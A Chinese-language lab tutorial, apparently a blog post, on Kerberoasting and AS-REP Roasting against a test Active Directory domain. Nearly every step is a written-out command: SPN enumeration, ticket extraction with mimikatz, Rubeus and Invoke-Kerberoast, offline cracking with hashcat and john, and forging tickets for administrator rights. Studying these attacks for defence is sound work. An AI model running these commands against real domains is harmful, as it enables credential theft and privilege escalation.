本文已参与「新人创作礼」活动,一起开启掘金创作之路
了解过Kerberos协议的师傅都知道,域环境下存在两种票据,两种加密数据。票据是TGT和服务票据(Server Ticket)加密数据是AS_REP中使用发起用户hash加密的sessions,以及PAC。
而这两种票据之一的ST使用提供服务账号散列加密,进而当我们拿到这张ST的时候我们可以尝试暴力破解这张ST的密码,从而引发了今天我们将要讨论的Kerberoast.
然后AS_REP Roast则是破解那个Client info(用户hash加密的sessions)
原理及利用思路
AS_REP Roasting是抓取As返回包中的Client info内容然后进行暴力破解,从而取得请求账号的密码散列(NTLM)
kerberoast则是抓取ST然后暴力破解,从而获得提供相应服务的账号的密码散列,然后伪造ST进行类白银票据攻击。
环境搭建
环境借用魔改版的红日团队的vulnstack2
域内没有用户运行的服务所以创建一个服务当靶子
注意用管理员身份运行cmd,我这里实在DC上运行的服务,运行用户是de1ay
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 de1ay
然后由于需要破解用户密码,我把它重置成了弱口令方法见下
1.在2012R2环境下单击”服务器管理器“,再单击”工具“,然后点击”Active Directory 用户和计算机“
2.点击”查看“,然后点击”高级功能“
3.然后在控制台树中选择“用户”
4.再详细信息中,单击具体用户,然后右键,重置密码
来自官方文档AD 林恢复-正在重置 krbtgt 密码 | Microsoft Docs
攻击操作
Kerberoast
条件
1.拥有一个域用户的帐号密码,因为需要获取TGT,获取TGT
2.可以查询服务spn,需要发送ST请求,获取ST
3.拥有本地管理员权限,需要导出ST
原理
所有用户都可以请求自己的TGT,然后凭借TGT请求ST,请求ST环节不会验证PAC用户权限,因此用户可以获得任何服务的ST,然后通过导出ST进行离线的破解
操作
获取ST
0.获取服务的SPN
setspn -q */*
1.使用powershell自带模块请求ST
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/myhost.redmond.microsoft.com:1433“
不知道为啥,msf的shell调用powershell会卡死,很疑惑,我在目标机器上执行的命令
2.使用mimikatz请求服务票据
kerberos::ask /target:MSSQLSvc/myhost.redmond.microsoft.com:1433
3.也可以使用impacket工具包中的GetUserSPNs
./GetUserSPNs.py -request MSSQLSvc/myhost.redmond.microsoft.com:1433
我通过代理链使用工具失败了,DC拒绝了访问,可能必需要在域成员机器上执行吧。
提取ST
1.可以使用mimikatz来进行票据提取,建议就用这个就行
kerberos::list /export
2.在MSF里用mimikatz,不过叫kiwi
load kiwi
kiwi_cmd kerberos::list /export
3.用经典empire自带的ps脚本Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat Hashcat
之后想办法把他弄到你的攻击机上。注意前两个导出是kirbi格式,后一个是hashcat格式的raw需要复制粘贴。(有一说一,我觉得复制粘贴要比保存为文件好得多),但是ps脚本落地真的是个麻烦事。(mimikatz没好到哪去)
破解ST
1.保存为kirib格式的可以使用kerberoast工具中的脚本进行爆破
python3.9 tgsrepcrack.py password.lit mssql.kirbi
因为自己定的密码,没必要跑大字典,也就没测试这个工具的速度怎么样,反正我这个一百行的小字典是点了就完事了
2.hashcat格式的就用hashcat破解
hashcat64.exe -m 13100 hash.txt pass.txt
导入ST
如果你的目的只是拿到账号密码的在上一步就可以停止了,但是由于我们拿到了serverhash,所以我们可以假冒任何用户权限访问服务,因此假如服务允许我们是可以实现提权的。
重写用户id权限
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500
重写用户组权限
./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512
注入内存
kerberos::ptt sql.kirbi
AS_REP Roasting
条件
域环境关闭预验证
原理
关闭预验证导致任何用户可以伪造关闭预验证的用户发送AS_REQ请求,然后从AS发挥的AS_REP中enc-part下的cipher部分获取Client info(用户hash加密的sessions),然后通过爆破获取用户明文密码
操作
0.首先探测一下域内有没有用户开启无预验证
使用搬了三次家的powerview.ps1地址见文末,顺便一提这个脚本已经被win dender列到关键词检索里了,笔记里出现powerview这个字段都会报毒
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
1.使用ps脚本
使用harmj0y的asreproasting
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName de1ay -Domain de1ay.com -Server 10.10.10.10(指定域控地址,不指定多半会出错)
同时,由于powershell下可能复制粘贴会有困难,可以选择用管道符输出到文件里
Get-ASREPHash -UserName de1ay -Domain de1ay.com -Server 10.10.10.10 | Out-File -Encoding ASCII hash
2.使用rebeus由于我很菜,不会c sharp
在网上找了一个中文的教程贴上来了,感谢大佬shuteer_xu内网渗透(三) | AS-REP Roasting攻击_Ms08067安全实验室的博客-CSDN博客
Rubeus.exe asreproast > hash
3.爆破密码,建议使用john,hashcat对硬件要求还挺高的,我在虚拟机里跑甚至跑不开
john hash -wordlist=wordlist
工具
EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent. (github.com)
GhostPack/Rubeus: Trying to tame the three-headed dog. (github.com)
PowerSploit/Recon at master · PowerShellMafia/PowerSploit (github.com)